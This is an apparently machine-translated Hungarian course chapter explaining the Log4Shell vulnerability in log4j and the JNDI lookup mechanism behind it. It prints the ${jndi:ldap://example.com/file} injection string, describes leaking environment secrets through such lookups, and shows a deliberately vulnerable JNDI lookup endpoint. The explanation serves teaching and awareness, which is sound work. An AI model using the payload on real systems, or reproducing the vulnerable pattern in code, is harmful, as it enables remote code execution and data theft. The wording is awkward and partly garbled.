7.1 Botrány

És persze nem lehet nem mesélni arról a történetről, ami egészen a közelmúltban – 2021 végén – történt.

Log4Shell

Az Egyesült Államok Kiberbiztonsági és Infrastruktúravédelmi Ügynöksége (CISA) szerint a probléma a Log4Shelltörténelem egyik legsúlyosabb sebezhetősége. Igen, a kedvenc könyvtárunkról beszélünk log4j.

Hangulatos kis könyvtárunk log4j és a történelem legnagyobb sebezhetősége ? Érdekelt? Akkor hallgass.

7.2 A katasztrófa mértéke

Log4ShellA Lunasec biztonsági szakértői 2021. december 9-én jelentették be egy kritikus sérülékenység felfedezését (kód: CVE-2021-44228). Az Apache Security Team Java közösségének szakértői ellenőrizték ezeket az információkat, és közzétették a sebezhető Java-könyvtárak listáját. A lista egyszerűen hatalmas volt.

Ha egy Java projekt könyvtárat használt log4j, akkor azt meglehetősen könnyen fel lehet törni. És tekintettel arra, hogy szinte minden szerverszoftver Javaa log4jlegnépszerűbb java loggerben van írva, a biztonsági szakértők szerint a sebezhetőség a vállalati felhőkörnyezetek 93%-át érintette. Ide tartozik például az Amazon AWS, a Microsoft Azure, a Google Cloud, a Cloudflare, az iCloud, a Minecraft, a Steam és még sok más

Sőt, a sérülékenység nemcsak szerverszoftvereket, hanem számos Java-alkalmazást, valamint hardvergyártókat is érintett. Például az Intel közzétett egy listát 32 feltörhető programról: SDK-k, szerverkarbantartó rendszerek, Linux-eszközök.

Java university

Az Nvidia egy biztonsági problémáról szóló jelentést is közzétett, amelyben megemlítette a DGX-kiszolgálókat és a NetQ-eszközöket. Számos frissítést sürgősen kiadott az Apple és a Microsoft.

Durván fogalmazva, egy diák böngészőjének címsorában egy sor elhelyezi a szervert, ha ezt a sort megeszi a naplózó (sok szerveren mindent naplóz HTTP-requests).

A kód elemzése után kiderült, hogy a biztonsági rés 2013 óta ott ült a könyvtárban, de csak most vették észre. És amikor elkezdtek mélyebbre ásni, felfedeztek egy szakadékot, aminek az alja egyáltalán nem látszik.

7.3 A történelem legsúlyosabb sebezhetősége

Még 2021 decemberében az Egyesült Államok Kiberbiztonsági és Infrastruktúravédelmi Ügynöksége (CISA) kijelentette , hogy Log4Shellez a történelem egyik legsúlyosabb sebezhetősége .

Sok más szakértő is hasonló véleményt nyilvánít . Mindenki ismeri ezt a sérülékenységet, és minden korosztályból származó hackerek már használják személyes adatok eltulajdonítására és más típusú támadásokra különféle szervezetek ellen. A jövőben hatalmas hack- és adatszivárgási hullámra várunk.

A katasztrófa mértékét már az is lemérheti, hogy külön oldal működik a Log4j-ről szóló mémekkel , és minden nap érkeznek új képek.

Ez a probléma már régóta velünk van. Biztonsági rés millió, ha nem százmillió számítógépes rendszerben. Minden régi szoftvert frissíteni kell, és legalább ezt a könyvtárat le kell cserélni. De a legtöbb esetben senki sem tudja, hogy melyik könyvtárat és melyik verziót használják a szoftvereikben.

Összességében a számítástechnikai biztonsági szakemberek bérének meredek emelkedésére számítunk.

7.4 A sebezhetőség jellege

A sérülékenység lényegének megértéséhez meg kell értenie a nagy szerverrendszerek elrendezését. Az ilyen szerveralkalmazásokat gyakran különböző szolgáltatásokra bontják, amelyek különböző szervereken találhatók. A JNDI szolgáltatás pedig segíti őket az interakcióban.

A Java név- és címtárinterfész (JNDI)Java API az objektumok/szolgáltatások név szerinti megkeresésére szolgál . Ezek az objektumok különféle elnevezési szolgáltatásokban vagy könyvtárakban tárolhatók, mint például a Remote Method Invocation (RMI), a Common Object Request Broker Architecture (CORBA), a Lightweight Directory Access Protocol (LDAP) vagy a Domain Name Service (DNS) szolgáltatásban.

A munkavégzés nagyon egyszerű - ez egy egyszerű, Java APIamely csak egy karakterlánc-paramétert - a szolgáltatás nevét - vesz igénybe. Ezzel felveheti a kapcsolatot bármely szolgáltatással, és megkérheti, hogy tegyen valamit, és / vagy küldjön néhány adatot. Például a string a karakterláncban megadott ${jndi:ldap://example.com/file}adatokból tölti be az adatokat .URL

Ha a paraméter nem megbízható forrásból származik, az osztály távoli betöltéséhez és harmadik féltől származó kódvégrehajtáshoz vezethet . Mi történik abban az esetben Log4j. A támadó egyszerűen a rosszindulatúhoz irányítja az áldozat Java-alkalmazását rmi/ldap/corba-server, és válaszul egy rosszindulatú objektumot kap.

Technikailag a probléma itt nem log4jmagában a könyvtárban van, hanem a biztonsági beállításokban, amikor a -val dolgozik JNDI-service. Mindig ellenőrizni kell, hogy milyen karakterláncnak adunk át InitialContext.lookup().

Sebezhető példa JNDI-applications:


@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
   return new javax.naming.InitialContext().lookup(name);
}

7.5 Túl okos könyvtár

És hol log4jkérdezed? A helyzet az, hogy a fejlesztők a lehető legkényelmesebbé akarták tenni a vele való munkát, és intelligens naplózást adtak hozzá. Így működik:

Az egész azzal kezdődött, hogy a naplóüzenetek lehetővé tették egy sablon beállítását, ahol az adatokat helyettesítették, például:


log.debug(“User {user} has {count} friends”, user, count);

A régi, adatcsere nélküli verzió így nézett ki:


log.debug( “User “+user +” has “+ count +” friends”);

2013-ban a nézetsablonban megadott intelligens előtagok helyettesítése is bekerült a könyvtárba ${prefix:name}. Például a karakterlánc “${java:version}”a következőre lesz konvertálva «Java version 1.7.0_67». Ó, milyen kényelmes.

A felismert kifejezések között szerepel, ${jndi:<lookup>}ahol a jndi protokoll után megadható a keresés LDAP: tetszőleges URL-addresslekérdezhető és objektumadatként betölthető Java.

Ez az egész megközelítés standard problémája JDK: automatikusan deszerializál egy objektumot, amelyhez egy hivatkozást be lehet állítani url formájában. Ebben az esetben nem csak az objektum adatai töltődnek be a távoli erőforrásból, hanem az osztályának kódja is.

A hack így néz ki:

  • Rosszindulatú kódot tartalmazó fájl letöltése
  • A fájl sorozatszámot tartalmaz Java an object(és annak osztályát)
  • Az osztály betöltődikJava-machine
  • Létrejön egy rosszindulatú osztály objektuma
  • Az objektum konstruktorát hívják
  • Mind a konstruktor, mind a statikus inicializálás lehetővé teszi a rosszindulatú osztálykódok végrehajtását

Ha a naplózás alatt álló sorban log4jvan valami hasonló ${jndi:ldap://example.com/file}, akkor log4jonnan tölti le az adatokat, URL-addressamikor csatlakozik az internethez . Egy naplózott karakterlánc beírásával a támadó letölthet és végrehajthat egy nyilvános helyen tárolt rosszindulatú kódot URL-address.

Még akkor is, ha az adatvégrehajtás le van tiltva, a támadó hozzáférhet adatokhoz, például titkos környezeti változókhoz, ha elhelyezi azokat egy URL-address, amely lecseréli és elküldi a támadó szerverére.

A jó hír az, hogy a problémát gyorsan megoldották a könyvtárban .

A rossz hír az, hogy világszerte több millió szerveren még mindig ennek a könyvtárnak a régi verziója fut ...